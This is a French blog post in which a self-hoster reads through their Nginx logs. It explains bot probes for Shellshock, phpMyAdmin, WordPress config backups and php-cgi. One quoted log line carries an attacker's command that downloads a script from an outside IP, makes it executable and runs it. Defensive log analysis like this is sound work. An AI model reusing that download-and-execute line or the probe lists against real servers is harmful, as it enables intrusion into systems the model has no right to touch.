Des requêtes douteuses

Ecrit le 15/04/2018

Forcément, en faisant tourner un service chez soi, il y a de temps en temps quelques bots en plus des clients légitimes qui viennent sonner à la porte. Quelques fois je me demande ce que les bots sont venus chercher ou tout simplement s’ils ne se seraient pas trompé de port.

Avant de commencer

Dans cet article, je mettrai quelques extraits de mes logs Nginx. Forcément, les IPs seront ôtées même si ce sont probablement des adresses IP de bots.

Sur ce, commençons l’inspection des logs.

Shellshock

Il y a apparament quelques bots qui ont tenté d’exploiter en vain une faille shellshock. La faille Shellshock, aussi nommée Bashdoor, permet à quiconque d’exécuter une commande en utilisant un bug qui a été repéré en septembre 2014. Cette faille, correctement exploitée, peut avoir des conséquences peu confortables pour la victime puisque la commande peut être arbitraire.

Pour ceux qui se poseraient la question, voici un exemple d’une tentative d’exploitation

ADRESSE IP - - [08/Apr/2018:11:44:27 +0200] "GET /plugins/weathermap/configs/conn.php?id=wget%20-O%20apche2017.sh%20http://222.184.79.11:5317/apche2017.sh;chmod%20777%20apche2017.sh;./apche2017.sh HTTP/1.1" 404 178 "-" "python-requests/2.18.4"

Ici, en cas d’exploitation réussie, mon serveur aurait été télécharger un fichier sur un serveur et fait quelques opérations dessus avant de l’exécuter.

Recherche de fichiers potentiellement intéressants

phpMyAdmin

Mais il n’y a pas que les shellshocks qui sont venus. Il y a aussi quelques bots qui cherchaient une interface d’administration de base de données dans des répertoires communs. Exemple:

[ADRESSE IP] - - [09/Apr/2018:01:48:24 +0200] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:01:48:24 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:01:48:24 +0200] "GET /pma/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:01:48:24 +0200] "GET /myadmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:01:48:24 +0200] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:14:27:48 +0200] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:14:27:48 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:14:27:48 +0200] "GET /pma/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:14:27:48 +0200] "GET /myadmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [09/Apr/2018:14:27:48 +0200] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"

[ADRESSE IP] - - [13/Apr/2018:17:49:40 +0200] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [13/Apr/2018:17:49:40 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [13/Apr/2018:17:49:40 +0200] "GET /pma/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [13/Apr/2018:17:49:40 +0200] "GET /myadmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"
[ADRESSE IP] - - [13/Apr/2018:17:49:40 +0200] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 301 178 "-" "ZmEu"

Dans ce cas, c’est une installation de phpMyAdmin qui était recherchée. Je suspecte qu’une fois trouvée, les bots allaient commencer à brute forcer dessus pour trouver le couple login - mot de passe du serveur de base de données. Dans le second bloc, un bot cherchait le script setup.php pour aller faire je ne sais quoi. Certainement mettre la pagaille d’une manière ou d’une autre. C’est le style requête que je retrouve en concaténant les fichiers d’accès que j’ai et en filtrant sur le mot php.

WordPress

En bouquinant les journaux, je retrouve aussi quelques requêtes vers une hypothétique installation WordPress:

[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /wp-login.php HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /wp/wp-login.php HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /wordpress/wp-login.php HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /blog/wp-login.php HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /wp-admin/install.php HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /wp/wp-admin/install.php HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /wordpress/wp-admin/install.php HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /blog/wp-admin/install.php HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /wp-config.php.bak HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:19 +0100] "GET /.wp-config.php.swp HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wp-config.php~ HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /#wp-config.php# HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wp/wp-config.php.bak HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wp/.wp-config.php.swp HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wp/wp-config.php~ HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wp/#wp-config.php# HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wordpress/wp-config.php.bak HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wordpress/.wp-config.php.swp HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wordpress/wp-config.php~ HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /wordpress/#wp-config.php# HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /blog/wp-config.php.bak HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /blog/.wp-config.php.swp HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /blog/wp-config.php~ HTTP/1.1" 301 178 "-" "fasthttp"
[ADRESSE IP] - - [18/Mar/2018:02:37:20 +0100] "GET /blog/#wp-config.php# HTTP/1.1" 301 178 "-" "fasthttp"

Ce qui semble être touché est surtout le fichier wp-config.php, chose qui est logique puisqu’il contient la configuration d’une installation Wordpress. Il y a aussi wp-login.php de touché pour aller tenter de faire une attaque par force brute.

PS du 15 avril 2018 à 23h18: On me signale à l’oreillette qu’il est possible de mettre le serveur à genoux (en somme faire une attaque par déni de service, le DoS) en requêtant à répétition wp-admin et wp-login. En effet, ces deux fichiers font charger beaucoup (environ 180 ou plus) de JS et autres. WordPress ne souhaite pas vraiment corriger cela. C’est donc à vous de configurer correctement votre serveur.

PHP sur CGI

Alors là, je ne vois pas la finalité de l’attaque outre exécuter un script arbitraire. Néanmoins, je vous passe l’extrait que j’ai chez moi.

[ADRESSE IP] - - [24/Mar/2018:13:09:44 +0100] "GET /cgi-bin/php-cgi HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:13:09:44 +0100] "GET /cgi-bin/php.cgi HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:13:09:44 +0100] "GET /cgi-bin/php4 HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:13:09:44 +0100] "GET /cgi-bin/php5-cli HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:13:09:44 +0100] "GET /cgi-sys/php5 HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:21:19:25 +0100] "GET /cgi-bin/php HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:21:19:25 +0100] "GET /cgi-bin/php5 HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:21:19:25 +0100] "GET /cgi-bin/php-cgi HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:21:19:25 +0100] "GET /cgi-bin/php.cgi HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:21:19:25 +0100] "GET /cgi-bin/php4 HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:21:19:25 +0100] "GET /cgi-bin/php5-cli HTTP/1.1" 301 178 "-" "-"
[ADRESSE IP] - - [24/Mar/2018:21:19:25 +0100] "GET /cgi-sys/php5 HTTP/1.1" 301 178 "-" "-"

Des handshakes TLS sur HTTP

Des requêtes avec de l’hexadécimal qui semble ressembler à un handshake TLS. Ces requêtes ne me semblent pas malicieuses pour autant. C’est un bot ou un client un peu bourré qui a tenté de se connecter avec TLS sur le port 80 au lieu de 443.

Encore plus d’hexadécimal

Moui, j’ai encore plus d’hexadécimal addressés au port 80 et j’ai absolument aucune idée de ce que c’est…

Le mot de la fin…

Voili voilou. J’espère que vous accrocherez vos slips et que vous éviterez de laisser un PMA traîner sur votre serveur :3